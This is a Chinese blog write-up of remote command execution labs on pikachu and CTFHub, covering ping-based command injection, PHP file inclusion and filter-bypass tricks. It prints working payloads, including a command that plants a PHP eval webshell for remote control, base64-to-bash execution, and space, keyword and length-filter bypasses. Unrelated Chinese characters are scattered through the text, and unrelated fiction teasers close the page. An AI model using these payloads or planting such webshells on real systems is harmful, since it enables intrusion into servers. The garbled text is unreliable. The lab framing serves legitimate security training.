2021-10-23-遠程代碼執(zhí)行漏洞(pikachu&CTFHUB))

RCE遠程命令/代碼執(zhí)行漏洞

RCE英文全稱:remote command/code execute环揽。分為遠程命令執(zhí)行ping和遠程代碼執(zhí)行evel宅此。 漏洞出現(xiàn)的原因:沒有在輸入口做輸入處理匪凉。我們常見的路由器蔑赘、防火墻式矫、入侵檢測等設(shè)備的web管理界面上乡摹,一般會給用戶提供一個ping操作的web界面,用戶從web界面輸入目標IP采转,提交后聪廉,后臺會對該IP地址進行一次ping測試,并返回測試結(jié)果故慈。其實這就是一個接口板熊,可以讓攻擊者直接向后臺服務(wù)器遠程注入操作系統(tǒng)命令或者代碼,從而控制后臺系統(tǒng)察绷。

常用的管道符

a.png

pikachu(ping)

一個文本框干签,輸入ip地址可以進行ping操作,查看源碼拆撼,發(fā)現(xiàn)隊輸入的”ip“地址沒有進行過濾

b.png

利用管道符就可以實現(xiàn)任意代碼執(zhí)行容劳。


c.png

pikachu(echo)

這個也是一樣的,只是后臺的命令是echo闸度,沒有過濾的話任何內(nèi)容都可以執(zhí)行竭贩。


d.png

輸入框中輸入phpinfo();,執(zhí)行結(jié)果如下圖:

e1.png

一般常用的命令執(zhí)行語句有

  • system('ls'); (system('ls /'); )

  • system('cat flag'); (system('cat /flag'); )

  • 127.0.0.1;cat 2160627659946.php | base64

    (ping 情況下莺禁,直接cat不出來時考慮是有特殊字符留量,base64編碼一下)

RCE與文件包含

img
img

filter讀源碼:php://filter/read=convert.base64-encode/recource=index.php

ctfhub:?file=php://filter/resource=/flag

CTFHUB 命令注入

和pikachu的類似也是一個最簡單的沒有過濾的ping命令執(zhí)行,試一下127.0.0.1;ls

e.png

可以看到有個奇怪的文件

f.png

但是嘗試一下cat哟冬,沒有輸出楼熄,估計是有字符編碼無法顯示出來。

(其實這個時候右鍵看一下源碼就看到flag了)

l.png

將文件內(nèi)容base64編碼后輸出:127.0.0.1;cat xxxxx.php|base64

g.png

看到了一串base64編碼內(nèi)容浩峡,解碼即可獲得flag孝赫。

方法二

可以自己注入一個后門,然后蟻劍連接一下红符。

將一段腳本寫入555.php:127.0.0.1&echo -e "<?php @eval(\$_POST['test']);?>">555.php

(一定要注意"$"前面的"")

ls可以看見這個文件青柄,后面就是拿出菜刀了伐债,略。


h.png

這個方法二也可以應(yīng)用與下面幾個存在過濾的情況下致开。

常見的過濾及繞過技巧

過濾cat
i.png
  • 反斜杠 : 例如 ca\t flag.php

  • 單(雙)引號: 例如 ca''t flag.txt

  • $1:例如ca$1t flag.txt

  • 拼接:例如 a=c;b=at;ab flag.txt

  • 通配符(? 或*):例如:ca? flag.txt

    /???會去尋找 / 目錄下的三個字符長度的文件峰锁,正常情況下會尋找到/bin,然后/?a會優(yōu)先匹配到/bin/cat,就成功調(diào)用了cat命令双戳,然后后面可以使用正常的通配符匹配所需讀的文件虹蒋,如flag.txt文件名長度為8,使用8個?’’飒货,此命令就會讀取所有長度為8的文件魄衅。

    /???/?[a][t] ?''?''?''?''?''?''?''?''
    
  • 讀取文件的替代指令:more cat tac head tail less more

    https://www.cnblogs.com/ur10ser/p/7624367.html

    tac 從最后一行倒序顯示內(nèi)容,并將所有內(nèi)容輸出 more 根據(jù)窗口大小塘辅,一頁一頁的現(xiàn)實文件內(nèi)容 less 和more類似晃虫,但其優(yōu)點可以往前翻頁,而且進行可以搜索字符 head 只顯示頭幾行 tail 只顯示最后幾行 nl 類似于cat -n扣墩,顯示時輸出行號 tailf 類似于tail -f

選擇一個方法哲银,還是base64一下輸出,之后解密一下就有flag了呻惕。

j.png
過濾空格:
  • ${IFS}($IFS$9)($IFS):cat${IFS}flag.txt

  • <> (<) (>):cat<>flag.txt

  • {cat,flag}

  • %09 :cat%09flag.txt

    (這種編碼繞過的方式要在url框中輸入荆责,在題目中的文本框中輸入無效)

其他繞過
  • 反引號(內(nèi)聯(lián)執(zhí)行):反引號和$()都可用來表示命令,被包含的字符串會被當(dāng)做命令首先執(zhí)行亚脆。

  • base64:base64( "cat test.php")=Y2F0IHRlc3QucGhw

    //將base64解碼后的命令通過管道符傳遞給bash
    echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash
    

兩個結(jié)合起來

//反引號包含base64解碼后的命令
`echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d`
  • "?>" 代替 ";" :在php中可以用?>來代替最后一個
    (php遇到定界符關(guān)閉標志時做院,會自動在php語句之后加上一個分號)
長度限制過濾
  • >>:使用>>每次添加一部分命令到文件中,然后使用cat r | bash執(zhí)行命令

    echo -n "cmd1" >> r;
    echo -n "cmd2" >> r;
    cat r | bash
    
  • \:使用換行執(zhí)行和ls -t繞過長度限制

    ls -t將文件按時間排序輸出
    sh命令可以從一個文件中讀取命令來執(zhí)行

     root@kali:~/桌面# echo "flag{hahaha}" > flag.txt
     root@kali:~/桌面# touch "ag"
     root@kali:~/桌面# touch "fl\\"
     root@kali:~/桌面# touch "t \\"
     root@kali:~/桌面# touch "ca\\"
     root@kali:~/桌面# ls -t
     'ca\'  't \'  'fl\'   ag   flag
     root@kali:~/桌面# ls -t >a     #將 ls -t 內(nèi)容寫入到a文件中
     root@kali:~/桌面# sh a
     a: 1: a: not found
     flag{hahaha}
     a: 6: flag.txt: not found
    
運算符過濾
  • 過濾"/" :用cd進入目錄即可

  • 過濾“濒持;”键耕,“|”,“||”弥喉,“&”

小結(jié):CTFHUB 綜合過濾

m.png

%0a代替換行郁竟,%09代替TAB鍵(因為flag被過濾了玛迄,所以我們通過TAB來補全flag_is_here)

%5c代替\(用\來分隔開cat由境,因為cat也被過濾了)

127.0.0.1%0als%09*:tab鍵可以自動補齊后面的內(nèi)容ls%09*可查看所有的文件

n.png

payload:ip=127.0.0.1%0Acd%09*_is_here%0Ac%27%27at%09*.php

參考資料:

https://blog.csdn.net/qq_43814486/article/details/90020139

https://www.icode9.com/content-4-812303.html

https://www.cnblogs.com/0yst3r-2046/p/12600073.html

https://blog.csdn.net/weixin_42373789/article/details/113451481

https://www.cnblogs.com/0yst3r-2046/p/12617703.html

https://blog.csdn.net/qq_44657899/article/details/107676580

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市蓖议,隨后出現(xiàn)的幾起案子虏杰,更是在濱河造成了極大的恐慌,老刑警劉巖勒虾,帶你破解...
    沈念sama閱讀 217,277評論 6 503
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件纺阔,死亡現(xiàn)場離奇詭異,居然都是意外死亡修然,警方通過查閱死者的電腦和手機笛钝,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,689評論 3 393
  • 文/潘曉璐 我一進店門质况,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人玻靡,你說我怎么就攤上這事结榄。” “怎么了囤捻?”我有些...
    開封第一講書人閱讀 163,624評論 0 353
  • 文/不壞的土叔 我叫張陵臼朗,是天一觀的道長。 經(jīng)常有香客問我蝎土,道長视哑,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,356評論 1 293
  • 正文 為了忘掉前任誊涯,我火速辦了婚禮挡毅,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘醋拧。我一直安慰自己慷嗜,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 67,402評論 6 392
  • 文/花漫 我一把揭開白布丹壕。 她就那樣靜靜地躺著庆械,像睡著了一般。 火紅的嫁衣襯著肌膚如雪菌赖。 梳的紋絲不亂的頭發(fā)上缭乘,一...
    開封第一講書人閱讀 51,292評論 1 301
  • 那天,我揣著相機與錄音琉用,去河邊找鬼堕绩。 笑死,一個胖子當(dāng)著我的面吹牛邑时,可吹牛的內(nèi)容都是我干的奴紧。 我是一名探鬼主播,決...
    沈念sama閱讀 40,135評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼晶丘,長吁一口氣:“原來是場噩夢啊……” “哼黍氮!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起浅浮,我...
    開封第一講書人閱讀 38,992評論 0 275
  • 序言:老撾萬榮一對情侶失蹤沫浆,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后滚秩,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體专执,經(jīng)...
    沈念sama閱讀 45,429評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,636評論 3 334
  • 正文 我和宋清朗相戀三年郁油,在試婚紗的時候發(fā)現(xiàn)自己被綠了本股。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片攀痊。...
    茶點故事閱讀 39,785評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖拄显,靈堂內(nèi)的尸體忽然破棺而出蚕苇,到底是詐尸還是另有隱情,我是刑警寧澤凿叠,帶...
    沈念sama閱讀 35,492評論 5 345
  • 正文 年R本政府宣布涩笤,位于F島的核電站,受9級特大地震影響盒件,放射性物質(zhì)發(fā)生泄漏蹬碧。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,092評論 3 328
  • 文/蒙蒙 一炒刁、第九天 我趴在偏房一處隱蔽的房頂上張望恩沽。 院中可真熱鬧,春花似錦翔始、人聲如沸罗心。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,723評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽渤闷。三九已至,卻和暖如春脖镀,著一層夾襖步出監(jiān)牢的瞬間飒箭,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,858評論 1 269
  • 我被黑心中介騙來泰國打工蜒灰, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留弦蹂,地道東北人。 一個月前我還...
    沈念sama閱讀 47,891評論 2 370
  • 正文 我出身青樓强窖,卻偏偏與公主長得像凸椿,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子翅溺,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,713評論 2 354

推薦閱讀更多精彩內(nèi)容